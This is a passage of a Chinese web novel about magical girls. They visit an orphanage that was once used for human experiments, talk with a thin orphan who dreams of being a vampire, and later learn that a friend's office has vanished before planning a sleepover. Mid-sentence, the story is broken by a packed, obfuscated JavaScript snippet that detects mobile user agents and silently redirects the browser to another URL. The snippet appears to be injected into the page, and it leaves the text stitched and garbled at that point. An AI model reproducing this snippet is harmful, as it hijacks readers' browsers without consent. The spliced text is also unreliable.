“那时就当魔法少女科学家吧。”森山寺未央很满意这个职位,“全称就叫魔法少女现象与能力科学研究者,现代科学学科。” “充满热情啊,但这个听上去像是反派诶。”有乐羽生说。 “那,那不是也挺帅气的吗?”森山寺未央有些意犹未尽了。 “我想想啊。”有乐羽生感受了一下,“可以!这个的话感觉可以!” “请问评判的基准是什么呢?”森山寺未央采访道。 “是在我母亲面前说出自己的未来职业规划后她会不会给我一个好脸色。”有乐羽生语气严肃,“这可是非常严格的标准哦,一刀切的那种。” “那我很荣幸。”森山寺未央得意地说。 “未央家里人有考虑过你们未来的规划吗?”有乐羽生问道,“大概的方向什么的。” “我想想啊。”森山寺未央想了想,“我们小的时候,伊提阿姨还问过我们,要不要当科学家。当时在我们看来,科学家似乎就是无休止地泡在实验室里,所以我们拒绝了。比起科学家的话果然发明家的感觉更好吧?不过这个也是很遥远的梦想了呢。” “小时候的梦想都是宏大又遥远的!我小时候的梦想是当地球大总统哦。”有乐羽生说。 “这可真是了不起的发言啊。”森山寺未央感慨道,“不过可以的话我也有点想。” “但是后来觉得太麻烦了就换掉了,毕竟看到父亲每天要写三份演讲稿还要被母亲骂的样子太可怜了,所以我不要这样。”有乐羽生说。 “换算一下,地球大总统的话要写三十份打底吧。”森山寺未央想了想,“不对,都是地球大总统了凭什么还要担心被采访,到时候我想说什么就说什么,第一件事就是让机器人走进千家万户,然后允许机器人改装成汽车。” “这个听上去可行度太高了反而需要我去认真思考了,我可以不思考吗因为我不太了解机器人和汽车人的构造。”有乐羽生提问。 “也可以吧。”森山寺未央允许了,“但是其实,当不成大总统的话,能去研究机器人也不错,再兼容一下的话研究玩具机器人也可以,我和未雅两个人一定能用积木拼出高达!” 有乐羽生顿了顿,森山寺未央又直接将二人绑定在一起了,但这件事似乎也不该是她来发言,森山寺未雅本人应该也是有所察觉的。 那就让她去烦恼过于缠人的妹妹吧,这样想着的有乐羽生将问题抛之脑后。 “我完全没办法想象自己的未来是什么样子的呢。”有乐羽生说道。 “羽生的话,应该也会成为市长吧,不过应该是很久之后了。”森山寺未央说着陷入了想象,“市长是魔法少女什么的,会建立魔法少女雕塑吗?” “哈哈哈,偷偷挪用一下预算好了。”有乐羽生笑了,“但我有时觉得,我的母亲其实并没有想让我成为市长,或者接替她的位置的想法。说到底,父亲还能看出些许责任感吧,但我的母亲应该是不太喜欢这座城市的。” “这是怎么看出来的?”森山寺未央感到讶异。 “感觉吧,毕竟我是母亲生的,了解她也是正常的事情。”有乐羽生随意地说。 “是,是这样吗?”森山寺未央想了想,“那羽生自己是怎么想的呢?未来想做市长吗?还是想去开大卡车?还是成为魔法少女科学家?” “选择居然有这么多呀!不过我一个都选不出来呢。”有乐羽生说道,“以前我特别害怕被问到关于未来的问题,因为我对未来没有想法是不合理的,所以必须要编造一个我自己都得去做的目标出来。但是我现在觉得,说‘我不知道’似乎也挺好的,虽然会被母亲骂一下吧。” “羽生害怕被母亲骂吗?”森山寺未央小心地问,“我也老挨骂,别看我现在老实,以前我老闯祸,还喜欢惹别人生气。” “未央现在老实吗?”有乐羽生质疑了一下,“我很害怕我的母亲,但是她骂我的话没关系,因为我现在已经不害怕她会扔下我不管了,除了这个以外,其它的下场对我来说都不算什么啦,被没收手机和零花钱都是可以想办法的!” “就是要想开点。”森山寺未央笑了,“想开点,带着面对未来的勇气,包容遇到的一切,这不也是日之森的校训吗?这样想想也算是有道理的。” “和谐,勇敢,宽容。”有乐羽生喃喃自语,“如果我们都能获得这些就好了,哪怕分开了之后,带着这些,我们也一定能在未来的某个时刻相遇吧。” “怎么感觉话题变得沉重起来了?”森山寺未央看向远方,“感觉要到了!这条公路还挺眼熟的,应该就是前面不远的地方了。” “没错,我们现在也下降了很多了,再过一会就可以准备落地了!”有乐羽生点点头。 “我们怎么落地呀?是要开始增加摩擦力了吗?还是使用风阻?”森山寺未央问道。 “怎么如此现实?我们可是魔法少女,用魔法啦!”有乐羽生批评森山寺未央的想法。 “那是什么样的魔法能让我们不至于像流星一样碎开呀?”森山寺未央问道。 “用空间魔法!我对短距离空间移动已经很熟练了,距离地面有百米左右就算是安全距离。”有乐羽生估算了一下间距,“差不多了,就现在吧!” 用来估算距离的参照物是地面上的建筑的话,森山寺未央一下子就察觉到她们下降的速度有多快了,跳楼机都比不上二人坠落的速度。有乐羽生没有移开视线,一眼不眨地带着背上的人冲向地面,在距离地面还有约百余米的时候使用空间转移魔法。 下一个瞬间,二人出现在距离地面约十米的上空,坠落感和失重感通通消失不见,相反,森山寺未央还有种奇妙的漂浮感。二人轻缓地落在了地面上,甚至没发出什么声音。 “那些多出来的力到底跑到哪里去了?”森山寺未央脚踏实地之后开始思考。 “都说了魔法少女就要使用魔法呀,别想这么多啦。”有乐羽生没考虑过这些。 “刚才那次转移的魔力消耗如何?”森山寺未央追问道。 “和往常一样。”有乐羽生有些无奈了,“魔法不就是这样的吗?未央你就别想这么多了吧,魔法就是这种只要给出魔力就会达成的存在呀。” “说的,也有道理,我不能,用科学,去解释,魔法。”森山寺未央一边甩头一边断断续续地说,终于是摆脱了思维局限性,“我带了蛋白棒!” “哈哈哈——”有乐羽生直发笑,“我也带了,一边走一边吃吧。” 二人现在所在的位置是神脉医院内部边缘小路,沿着这条路走一会就能看到那栋红色小楼了,路边脚踝高的低矮小花也是熟悉的模样。 “羽生也是因为晓才知道这个蛋白棒牌子的吗?”森山寺未央咀嚼着蛋白棒问道。 “是的,这个真是神奇,配料表说没有添加糖,但吃起来甜甜的,也没有糖精那种奇怪的味道。”有乐羽生也咀嚼着蛋白棒,“我也吃过别的牌子的,还是这个好吃,不愧是晓选择的。” “应该是使用了多种糖醇合成的,可乐也是这样,0糖可乐口感和普通版没差。”森山寺未央点头,“以前也没想过魔法少女还得吃蛋白棒补充体力什么的,有种游戏里补充体力的道具的感觉,掉血了能时间暂停吃一根吗?” “研究一下魔法蛋白棒吧!”有乐羽生说。 二人落地后不久,太阳就落下了,只剩下一抹没带走的红。 “这样看的话其实和之前我们来的时候也没差啊。”森山寺未央站在孤儿院外面的地面上说道,“晒被子的杆子倒是多了些,石头凳子数量倒是没变。” “现在她们应该在吃晚饭,我们先悄悄从外面看一眼吧。”有乐羽生说,森山寺未央点点头,二人隐身之后从外部爬到二楼窗外,朝里面看。 现在确实是晚餐时间,餐厅里的孩子数量比起二人之前来这里看的时候多了许多,新来的孩子们有的带着很明显异于常人的特征,有的则看不出来。 森山寺未央一眼就看见了之前和她说过话的禾草心卷,此时她吃着盘子里的饭,似乎是在想些什么事情,没有和旁人聊天的意思,她看上去好像瘦了些。 餐盘里的伙食算不上丰盛的,她们没见过孩子们以往的食物,就也不清楚这样算不算是合理的。森山寺未央看着那盘子里的食物,大概是一份面包,一份肉食和一份蔬菜,营养上来说是过得去的,但她想起自己学校食堂丰盛的餐桌,心里忽然一酸。 那些护工也是之前看到的那些,有乐羽生看着那些护工们彼此在一起聊天的样子,比起之前看到的样子似乎轻松了不少。那位禾草代目却是不见了,不过她并没有太在意这些。看餐厅里的陈设,孤儿院似乎依旧没有设立自己的食堂。 “伙食还算过得去,我们去一楼的教育区看看吧。”有乐羽生说。 “嗯。”森山寺未央点头。 一楼左侧的教室多了些椅子,书本还是原来那些,森山寺未央蹲在一个放在讲台旁地上的小黑板,上面用粉笔涂着幼稚的画,零碎的笔触一看就是属于孩子的。 有乐羽生围着教室看了一圈,依旧是没什么现代化的设施,可能是因为这里的管理人知道这个孤儿院的特殊之处后便没有再投入预算到设施建设上,也就是说,这个孤儿院以后可能不会再接受新的孤儿了。 二人继续看了其它的教室,也去楼上看了眼,顶层的隐藏办公室里没有人,但有被留下的文档,有乐羽生拿起看了一部分,确认神脉医院确实来了个新管理人,与博蒙不同,新管理人基本上就是一个负责传话的傀儡。 地下实验区没有使用的痕迹,已经断电了。 “这样算是好,还是不好呢?”森山寺未央问道。 二人坐在室外的一处石板凳上,久久没有言语。 “对于那些孩子们来说,这些恐怕影响不到她们吧。毕竟以后她们大概也没办法过上正常人的生活,而过去,痛苦的事情只要忘记就好。”有乐羽生轻轻地说。 “那她们真的就没办法拥有更好的人生了吗?明明那样的身体并不是她们能决定的,却还要忍受那样的生活,直到死去。”森山寺未央吸了吸鼻子。 有乐羽生看向森山寺未央,叹了口气,她心中又何尝不是这样想的呢? “我们去河边看看吧。”有乐羽生说着站了起来,森山寺未央也跟上。 湿软的草坪上有些前人走过的脚印,是最近的,以往孤儿院并不允许孤儿擅自前往湖边,但最近似乎有谁会带着她们去河边看看。 泥土与湖水的交界点模糊不清,靠近湖畔的芦苇草高了些,刺得二人腿有些痒。 日落四十分钟后,世界被巨大的蓝色笼罩了,草与山是浮动的黑与绿,湖与天是带着浪的蓝,湿气盎然,明天一早又会是个雾天吧。 气味难说是芬芳的,森山寺未央不太喜欢这片区域,但她一想到,就连这样的区域也是那些孤儿直到现在才能拥有的玩乐之地,心里就泛起了悲伤。 有乐羽生走在森山寺未央的前面,她看着湖泊,不知道在想些什么。 “羽生,”森山寺未央忽然向前走了一步,拉住了有乐羽生的袖子,“我们,我们能不能为她们做些什么呢?我们是魔法少女对吧,一定有什么事是我们可以用魔法解决的。” 有乐羽生回过头看向森山寺未央,她张了张嘴欲言又止,森山寺未央这样问她,她又能去问谁?母亲吗?她只会骂一句多管闲事吧。 我们没办法给她们一个光明的,和正常人一样的未来的,那些孩子们需要的是接连不断的手术或者某种巨大的奇迹。曾经Evo实验室因为人体实验的存在而选择部分孩子动手术,即使是这样,那些孩子们要么没有挺过手术,要么成为了天使为Evo卖命。有乐羽生心中划过这些话,却没办法对着看着她的森山寺未央说出口。 她心想,森山寺未央应该是想要的是一个简单的答案,大概就是有什么魔法能使用后就给予那些孩子全新的生命。但先不说这大概是做不到的,那些孤儿各有各的残疾,魔力能补充生命力或者止痛,更多的就连造血都要单独学会这类魔法。 即使做得到,然后呢?那些不幸福的人难道都是因为残疾而不幸福的吗?普通人走向未来需要的很多东西那些孤儿根本就不曾拥有,以后也很难获得。她们能治好残疾,难道还能负担起那些人以后的人生吗? “对不起。”森山寺未央放下了手,她感受不到有乐羽生的感情,但若是她自己都如此困惑的话,那与她同龄的有乐羽生一定是有着相同的感觉的,她只是低下头去,“抱歉,羽生。” 草叶茂盛,临水的更是生命力顽强得吓人,有乐羽生看向森山寺未央的视线落在了张牙舞爪的草地上,发现了一个没那么自然的东西。 那是一个用草编织而成的环,上面插了朵小花,是栽在来时路边齐脚踝的那种,现在已经有些枯萎了,有乐羽生将它捡起来,注入了生命力,白色的花瓣又焕发了活力。 “那些孩子,是有自己的想法的。”有乐羽生说,“她们对自己的未来大概也很迷茫吧,但是至少现在,她们应该是有自己想要去做的事情的。编织一个草环也好,在河边找个地方坐下也好,还是说,想治好身上的病也好。” 森山寺未央看向那草环,编的不太好,有些散开了,她小时候也编过这种,不过是用藤条,但也会摘小花插进去。 “我们去帮帮她们吧,未央。”有乐羽生将草环递给森山寺未央,“给她们带点书,带点手工艺品材料,给她们想要的东西,帮忙铺设从孤儿院到湖畔的小路,听听她们说的话。” “这样就可以了吗?”森山寺未央吸了吸鼻子,“这些事情谁都可以做到吧,我们明明是魔法少女,没有什么只有我们能做到的事情吗?” “她们就需要这些了,未央。”有乐羽生叹了口气,“那我们将周围的魔物清扫了吧,不仅仅是今天,以后也是。” “那,那我就每天都来!等等这个好像有点难,果然也得学习一下快速移动的魔法吧,在此之前我至少每周都要来一次。”森山寺未央下定了决心。 “未央,你是因为觉得那些孩子可怜才这样做的吗?”有乐羽生欲言又止,“还是说,你觉得是因为我们结束了这里的人体实验,让这里的孤儿院预算减少了,所以才这样做来补偿的呢?” “呜啊羽生原来你会读心术啊。”森山寺未央跳了起来,“好吧,其实是两种都有,但是说真的,要是这里只是一个普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807996|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通的孤儿院,那我应该是不会这样做的吧。” 就是这样说啊,有乐羽生心想,森山寺未央自称不擅长理解别人的感受,但却能完整地表达自己内心的想法,这样坦诚地把自己全盘托出何尝不是一种强制性的心理同化呢?至少她现在心中也是这样觉得的。 若是这里只是一个普通的孤儿院,哪怕这里的孩子多数残疾,甚至比现在的处境更加糟糕,她大概率也是不会投来视线的吧。 这一定是一种高高在上的,没有同理心的想法吧,她心想,但若是森山寺未央这样说出来了,那有乐羽生觉得,自己也应该说出来才对。 “我也是的,未央。”她说,“所以我们一起来帮忙吧,无论是愧疚也好可怜也好,如果能真的帮上那些孩子,让她们露出更多的笑容的话,哪怕不确定是否需要使用魔法,是否能让她们的未来变得更好,也让我们做些什么吧。” 这样托出自己内心的做法有乐羽生鲜少尝试,但她理解自己的为人,心中的想法总是不一会就会飞走,说出来的话才有份量。这样一来,无论以后她是否能理解现在的自己,都会按照现在的说法去做了。 “…好!”森山寺未央吸了下鼻子,“那我们现在的话,先去那边的树林里清理魔物吧,然后带点木头回来,劈一下,把这里的草清理一下,铺一条路出来。” “未央很有经验呢。”有乐羽生眨了眨眼。 “嘿嘿,我小时候有想这么做过。”森山寺未央笑了。 二人迅速趁着天还没完全黑透跑进了森林中,森林外围有护栏,但对二人来说没什么用。二人去森林深处挑了些额外粗壮的松树,森山寺未央使唤耐力型骑士扛着树往湖岸边上走,有乐羽生将其竖着劈开。二人清出一块芦苇地后将部分树杆钉进泥土中,再将树片组装上去。 “这样的话还算是结实。”森山寺未央在简陋的岸边木台上蹦了蹦,“但是这里泥土太软了,太潮湿了,木头很容易坏,果然还是得用点金属吧。” “经常来确认状况吧!”有乐羽生一边给树片钻孔一边说,“接下来是铺路,根据日之森那里的小路,我们要先在草地上铺石头,然后再铺木板。” “碎石的话森林里不是很多呢。”森山寺未央思索了一番,“不过我们之前停车的那个废弃停车场那里倒是有很多,而且也可以把那些建筑废料砸碎了用。” “真是朴实无华的方法。”有乐羽生拍了拍衣服站起身,“走吧,顺便去看一眼孩子们,现在她们应该吃晚饭了。” “我想去看一下心卷!”森山寺未央期待地说着,又有些担心,“我刚才看到她,她好像比上次我看到她时,更瘦弱了一点。” “…去问问她有什么想要的东西吧。”有乐羽生说。 森山寺未央点头,二人再次返回红砖房附近,屋内灯光亮起,月光附和着洒在其身上。 二人再次摸上食堂边上的窗户,确认其中有没有人在。 “啊!”森山寺未央看见那楼梯角落里鬼鬼祟祟地跑出来一个孩童,犹豫了一会后跑进了储物间,又带着些什么跑了出来,拉开二楼后门跑了出去。 “那个孩子是。”有乐羽生也看见了。 “是小心卷诶!”森山寺未央认出了对方,“果然那些食物是吃不饱的吗?” 禾草心卷从二楼出来后就在楼梯口坐下了,她左顾右盼了一番,随后,从衣服里掏出了一本比她脑袋大的纸质书,以及一本巴掌大的记事本,以及铅笔橡皮。 那纸质书二人并不陌生,正是她们之前带来孤儿院的赠礼书籍中的其中一本漫画书。 “我们去和她聊聊吧,别吓到她了。”有乐羽生小声说道,“我们就从房子拐角正常走出去就好,你先出去,她见过你。” “好!”森山寺未央点头。 二人如此照做,禾草心卷在听见脚步声时紧张地迅速开始收拾东西,但铅笔依旧滚落向楼梯下方,她低头,发现出现在楼梯下方的人并不是管理员或其它同伴。 “我来看你啦!”森山寺未央捡起笔,小声呼喊道。 “啊!”禾草心卷一下子抱紧了怀里的东西,随后笑容越来越大,她迅速向下跑去,脚步因欣喜而杂乱轻快。 很快她在森山寺未央的面前站定,这才发现一旁还站着另外一个她没见过的人。 “上次的另一个姐姐有事来不了,所以我替她过来看你们啦。”有乐羽生蹲下来说,“你好呀,我的名字是羽生哦。” “你,你好!”禾草心卷激动又不好意思地说,“谢谢你来看我们,我的名字是禾草心卷。” “你好呀心卷!”有乐羽生笑着答应了,三人在石凳上坐下,禾草心卷笑容洋溢着,但却又因为不知道自己能说些什么而感到不好意思。 “能不能告诉我,为什么心卷要现在跑出来看书呀?”森山寺未央犹豫地问道,她非常担心禾草心卷的身体情况,又担心自己说错了什么话。 “这个!”禾草心卷却是一下子找到了自己能聊的东西,非常迅速地将自己怀里的东西向二人展示,“我最近,在找我喜欢的东西!” 那是一本十年前的漫画书,吸血鬼题材的编年史漫画,以画风华丽出名。 “心卷喜欢这本漫画书吗?”有乐羽生好奇地问,“这个封面画的好细致呀。” “也不是啦。”禾草心卷的手臂曲了曲,“千手老师只给了我这本,所以我从这本里面找。” “…她们还是不让你们看那些书吗?”森山寺未央有些难过,但很快她又担心自己说错了什么,“我的意思是,你们现在看的书和以前的书是一样的吗?” “嗯?”禾草心卷不太理解,“应该是一样的吧?” 不过很快,她再次将注意力转移到了那本漫画书上,迫不及待地翻开了内页,书页哗哗作响,停在了一张彩色的插图上。 “这个!”禾草心卷害羞地笑着介绍说,“我喜欢这个大姐姐!” 画面为彩色单人插图,细腻而锐利的线条勾勒出了一个手持利刃直视画面前方的角色,她身着华丽的洋服,以红白为主色调,长发卷曲,背后开满玫瑰花。 森山寺未央还记得这个角色,也记得剧情,这位大姐姐是故事中的反派而且只在一章之中登场过。但她知道这本吸血鬼编年史就是靠画风吸引年轻读者的,其内容繁杂,主旨更是与生命哲学息息相关,角色台词像是在唱戏剧,一个十岁出头的孩子因为插画而无缘无故喜欢一个角色是正常的。 “确实啊!”有乐羽生接过漫画书感叹道,“画的真好,玫瑰花中的每一朵都很细腻,角色的表情也很有吸引力呢。” “对吧?”禾草心卷因为自己的审美被认可而开心,“而且这个大姐姐因为不满自己作为纯血吸血鬼却必须常年靠假血苟活,从而控制贵族彼此争斗引起王朝衰落,虽然只有这么一点点出场桥段吧,但我觉得她真的好厉害呀!” 显然,十岁出头的禾草心卷喜欢这位大姐姐是有缘故的。 “…小心卷,喜欢这其中的剧情吗?”森山寺未央笑着问,并决定从今天开始放下成见接受每一种漫画。 “嗯,我也不知道。”禾草心卷想了想,“我只喜欢有这个大姐姐出场的那一段!其它的有的无聊,老是在说一些重复的东西。” “但是心卷一个人把这个读完了呀,真厉害。”有乐羽生夸赞道。 “不是一个人哦!”禾草心卷有些害羞地说,“第一遍是我和爱丽丝姐姐一起读的!啊不过她好像不准备继续用这个名字了来着?” 现在二人听到爱丽丝这个名字已经不再陌生了。 “我们能不能见到这位姐姐呀?”有乐羽生好奇地问。 “…嗯,我,我不知道。”禾草心卷表情非常为难,“姐姐她说不见外面的人,所以。” “没,没关系!”森山寺未央迅速地说,“没关系啦没关系!小心卷不用想这么多的,她不见我们就不见吧我们也不是那么想见她啦所以真的没关系的!” “那不如小心卷来说说看吧!”有乐羽生说,“那位姐姐还会带着你读书呢,她是个什么样的人呀?” “好!”禾草心卷因为自己能帮上忙而再次开心了起来,她想了想,“不过爱丽丝姐姐她应该不是人吧,我觉得她应该是吸血鬼!” “…好厉害啊。”森山寺未央说。 “对吧!”禾草心卷连连点头,“虽然我没有见过她的样子,但是她和这本漫画书里面的吸血鬼很像哦!活得很久,白天不出门,没有人能约束,而且,不吃饭!” 有乐羽生忽然意识到了什么,她看向禾草心卷向往的表情,有些于心不忍。 “…小心卷想成为吸血鬼吗?”有乐羽生轻声问道,“小心卷想成为和那位姐姐一样的存在吗?” “…嗯!”禾草心卷眼睛亮晶晶的,“这样的话,我也能活得很久了!” 森山寺未央哑然,她看着禾草心卷亮晶晶的眼睛,瘦小的身躯,不知该说什么。 “那,小心卷有和那位姐姐说过自己的想法吗?”有乐羽生问道。 “…还没有。”禾草心卷略微低下头,“她说自己要换个名字,因为爱丽丝是另一个人的名字,她不能随便占用,那个人会生气的。所以,所以我。” 她低下头,翻了翻那本漫画书,翻到了最后一部分,那是人物设定集,每个角色的名字都有至少15个字。 “这个故事里面,有好多吸血鬼啊,但是这里只有一个。”禾草心卷期盼地说,“如果爱丽丝姐姐是吸血鬼,我也是吸血鬼的话就有点像是在,抄袭了。” “才没有那种事!”森山寺未央义正严辞地说,“先不说物种哪有抄袭一说,现在吸血鬼可是有很多个名字的,比如血族血魔夜魔,不对,总之小心卷如果想活久一点就不能不吃饭啦!” “好多名字啊。”禾草心卷一时理解不过来,“为什么活的久一点得吃饭呢?” 森山寺未央一时噎住。 “小心卷不喜欢吃饭吗?”有乐羽生担心地问。 “…其实是喜欢的,不过更喜欢面包。”禾草心卷有些不好意思了起来,腿动了动,“更喜欢那个叫披萨的圆圆的大饼,也喜欢方的。” “…我下次给你带。”森山寺未央沉痛地说着,从口袋里掏出蛋白棒,“现在只能给你这个了,你能吃吗?” “我能吃吗?”禾草心卷小心翼翼地接过蛋白棒,“谢谢!这是什么?” “是奶奶也会喜欢的礼物哦。”有乐羽生笑着说,“是甜的,要不要尝尝看?” 禾草心卷明显意动,她看了看蛋白棒,看了看二人,再看了看漫画书。 “果然还是不当吸血鬼了吧!”禾草心卷拆开了包装,“谢谢!” “不客气!”森山寺未央点头。 “其实我觉得,不当吸血鬼,不活一千年也可以。”禾草心卷挠了挠头说,“抱歉,我其实不是故意中途放弃的,只是我觉得当吸血鬼很厉害,抱歉。” “那小心卷还有其它想达成的目标吗?”有乐羽生问道。 “有!”禾草心卷迅速地翻开了自己的草稿本,纸张翻动,每一页上都画满了奇怪的,看不出原型的东西,很快她停下,画面中用黑色做线,红色涂面,在白纸上画了一张奇怪的画。 “这是。”森山寺未央歪过头来看,“衣服吗?” 有乐羽生怎么看都看不出来那怎么能算是一件衣服。 “是的!”禾草心卷介绍道,“我觉得爱丽丝姐姐可能是因为没有衣服穿所以才不出来的,但是她又不喜欢我们的衣服,所以我想给她做一套衣服。” 她指了指一个十字交叉点,“这个是背面。” 她指了指四条平行线,“这个是正面!” 随后,在她的指指点点下,二人总算能认清其构造了。 这是一件被添加了太多元素的手术服,领口是竖褶高领,后面是花式蝴蝶结,下摆缝了荷叶边,裤子上充斥着黑色的蝴蝶结。一旁还给画了配饰,那是一条红色打底带黑色蝴蝶结纹路的不明布条,禾草心卷希望这个布条出现在手术服的前面。 “就是这样!”禾草心卷期待评价。 “有点像我小时候设计多功能机器人,什么都喜欢往上面加,充满想象力呢。”森山寺未央夸赞道。 “还考虑了首饰和鞋子,了不起!”有乐羽生鼓掌。 “嘿嘿,其实我有参考一下那个大姐姐的衣服,不过我绝对没有抄袭哦!”禾草心卷郑重地说,“我会再继续加东西的!” 忽然,楼上的一间屋子的灯光晃了晃,禾草心卷一下子站了起来。 “安叶给我发信号了,我得回去了!”禾草心卷依依不舍地说,“谢谢你们来看我们,谢谢你真的来看我了,我真的很高兴!我会想办法让爱丽丝姐姐尽快跑出来见见大家的!再见!谢谢你们!” 说完,她一步三回头地朝二楼跑去了,一边跑一边回头招手。 二人也朝她招手,直到她回到屋内。 “那个爱丽丝,到底是谁呢?”森山寺未央若有所思地问。 “有缘就会见到的吧。”有乐羽生摇了摇头,“走了未央,我们去搬石头。” 64.第一行 虽然说艾克里普使用了魔法对事务所的失踪进行遮掩,但只要是经过那里的,对魔力有所察觉的人都能迅速地察觉到其中的不对劲。 尤其是乐队中的几人,大家都迅速地注意到了艾克里普拥有的夜藤事务所从原来所在的位置整个凭空消失了。 先是从半空中飞过时注意到这一点的有乐羽生,随后是巡视过南流港后到处乱跑的森山寺姐妹,最后是正往宿舍走的犬山晓。她们一个接一个地停驻在夜藤事务所所在的巷子口,看着几个警察将建筑前面的一小块地围了起来。 【刚才我看到还有警察去夜藤事务所敲门,没发现有什么不对。但警察敲门的原因我就不得而知了。】有乐羽生说。 【艾克里普知道这件事吗?】犬山晓看向那与往常无异的建筑外表,但实际上那只有一个壳子,就和纸扎的房子差不多。 【肯定得知道吧!这里不是她家吗?还是她亲手改造的。】森山寺未央说。 三人沉默了下来,四周没有艾克里普的气息,谁也不知道她去了哪里,又对这里的情况作何反应。 【要不,打个电话问问?】森山寺未央提出了这个意见。 【果然还是问一下比较好吗?】犬山晓同意地点了点头。 【我来!】有乐羽生配合地掏出了手机,接过这个重任。 在另外三人的围观下,有乐羽生拨号许久之后终于被接通了,她打开扬声器,电话那头有风和树叶摇晃的声音。 “羽生?抱歉我这里信号不太好。”艾克里普的声音因为隔着电话有些失真,但大家都听出了她语气中的欣喜,“下午好!一切都顺利吗?” “我刚刚回来,一切安好!”有乐羽生顿了顿,声音轻了些,“我回来的时候路过夜藤事务所,察觉到了特殊的魔力气息就过来看了一下,这里好像发生了什么,而且有很多警察围着。” “原来是因为这个。”电话那头传来了艾克里普那一如既往安抚人心的笑声,“不必担心,我刚才回事务所的时候遇到了天使中的一员,她使用空间魔法把事务所整个转移走了,我简单遮掩了一下 ,吓到你了吗?” 艾克里普的声音隔着手机听不出有什么低落的情绪,几人面面相觑。 “这样啊,这样没关系吗?”有乐羽生忧心地问。 “嗯?”艾克里普有些疑惑,但很快就回应道,“没关系的,这只是暂时的,事务所本身并没有被毁坏,后续再找回来就好。” “那艾克里普今晚住哪呀?”森山寺未央忍不住担心地问道。 “而且作业什么的应该也弄丢了吧。”犬山晓想到了这一点。 “大家都平安无事呀!”艾克里普的声音听上去有些开心,“不用担心这些,我并不需要一个用来休息的地方,在事务所恢复之前我正好可以扩大一下巡视的范围。” “那可真是辛苦!”有乐羽生说着顿了顿,欲言又止。 “这,这样吗?”森山寺未央的眉头依旧皱着,她看了看不远处被围起来的地方。 “嗯,那里现在应该被警察围起来了吧,因为那位天使的尸体我没有处理,但现在应该已经被转移走了。”艾克里普说到这里顿了顿,“可能会有警察尝试敲门吧,不过这些都不用担心的。” “艾克里普使用的魔法当然不用担心效果问题。”犬山晓说道。 “问题明显不在这里吧。”森山寺未雅叹了口气。 “说起来!”森山寺未央忽然振奋了起来提议道,“大家这周末要不要来我们家里玩?” “这也是一种解决方法。”森山寺未雅点头,“一起来我们家玩吧,过夜,顺便一起讨论一下近期出现的问题和线索什么的。” “去你们家里玩吗?”犬山晓眼睛睁大了些,“像之前说的那样,然后大家一起聚会,一起睡在地板上的那种?” “我想去!”有乐羽生稍微飘起来了一下,“一起去吧!去吧去吧!” “可以去打扰吗?”艾克里普声音听上去有些意外,“我们好多人呢。不过我也觉得这样不错,大家可以聚在一起。” “我现在去打电话给爸爸妈妈!之前她们就说欢迎大家来玩呢。”森山寺未央高兴地说着,从口袋里摸出了手机就开始翻通讯录。 “而且这样一来就可以让爸爸妈妈待在家里了。”森山寺未雅满意地点点头,“大家要去准备一下过夜用的衣服什么的吗?” “那我去去就回,我们一会在哪里碰头?”犬山晓问。 “一起坐日之森校门东车站的市内环线过去吧。”森山寺未雅想了想,对着有乐羽生说,“我们家的地址一会让未央发给大家。” “我还得想想怎么和妈妈说。”有乐羽生五官拧巴了一下,“不过我这段时间都没出问题呢,实在不行我就晚上跑出来找大家。” “说好了!”森山寺未央兴高采烈地蹦哒回来了,“焦糖泡芙塔也说好了!” “那我先回去了,一会车站见。”犬山晓说完就迫不及待地跑了。 “我们也回去收拾行李吧。”森山寺未雅点了点头,“一会见。” “一会见啦!”森山寺未央蹦哒着走了。 “一会见!”有乐羽生想了想,对艾克里普说道,“我们一会在车站见吗?艾克里普?” 电话另一头沉默了一会。 “不,我现在离这个地址很近,我们在那门口见吧。”艾克里普说道。 “好哦,我们一会见!”有乐羽生顿了顿,说到,“一会一起谈谈最近发生的事情吧!” “…嗯,一会见。”艾克里普说。 电话挂断后,艾克里普眺望着远方的城市,没有急着动身。她现在所处的位置是整个城市最西部的山区,偶尔有步行登山客会探索附近的步行道。但艾克里普所在的位置是完全未被开发过的地区,无人之处,植物的生长是蛮横的。 但即使是这样的区域也偶尔会有魔物出没,艾克里普扶着周围的树木,确认地址附近可移动的坐标。 从这里使用空间魔法转移到目的地附近只需要一瞬间的,所以艾克里普当然可以理所当然地说,她离目的地非常近。但她也是有自知之明的,她选择独自行动的最主要原因其实是不希望在公共交通设施中遇到大量普通人。 但是,艾克里普想到与大家一起乘坐汽车的回忆,却又觉得如果能那样的话,置身于普通人之中似乎也不是什么难以忍耐的事情了。话已经说出口了,她现在只能叹了口气。 不过,那不过是一段路程而已,艾克里普这样想着,离开了原地。 先抵达车站的是犬山晓,她拎着一篮水果大步走向目的地。这个车站只有一个简单的室外站台,比起市中心位置那种大型的商业集合体车站小许多,但人也少了许多,她找了个离车站入口近的位置坐下,将行李箱停在身边,看着入口处开始发呆。 森山寺的父母是什么样的人呢?犬山晓这样想到,心里有些紧张。 不一会,交谈着的森山寺姐妹也进入了车站,并迅速发现了犬山晓和她的大行李箱。 “哇!居然带了行李箱和果篮。”森山寺未央惊讶地说,她们两个只是简单地背着两个斜挎包,“晓把吉他也带过来了吗?” “没有诶,要带吗?我现在可以回去拿。”犬山晓紧张地问。 “要拿吗?那我要不要把贝斯也拿过来?”森山寺未央也紧张了起来。 “不,不需要。”森山寺未雅叹了口气,“不过记得带作业了吗?” “那个倒是带了。”犬山晓点了点头,“我还打印了一份空白的带给艾克里普,不过英语课的就没办法了。” “…她会感谢你的。”森山寺未雅忍住没有笑。 “我们难道要聚众写作业吗?!”森山寺未央大惊失色,“明明我们正在进行如此艰巨的任务来着,居然要在开作战会议的同时写作业吗?!” 但她很快就接受了,高中生要写作业,天经地义。 “你别在开会的时候写作业。”森山寺未雅说。 “毕竟周末作业很多,后面几天不知道有没有时间,有空就写了吧。”犬山晓肯定道。 “那睡衣派对怎么办?”森山寺未央长呼短叹,“还有电子游戏时间,桌游时间,吹蜡烛讲鬼故事的时间,把头搭在另一个人腿上绕一圈大作战。” 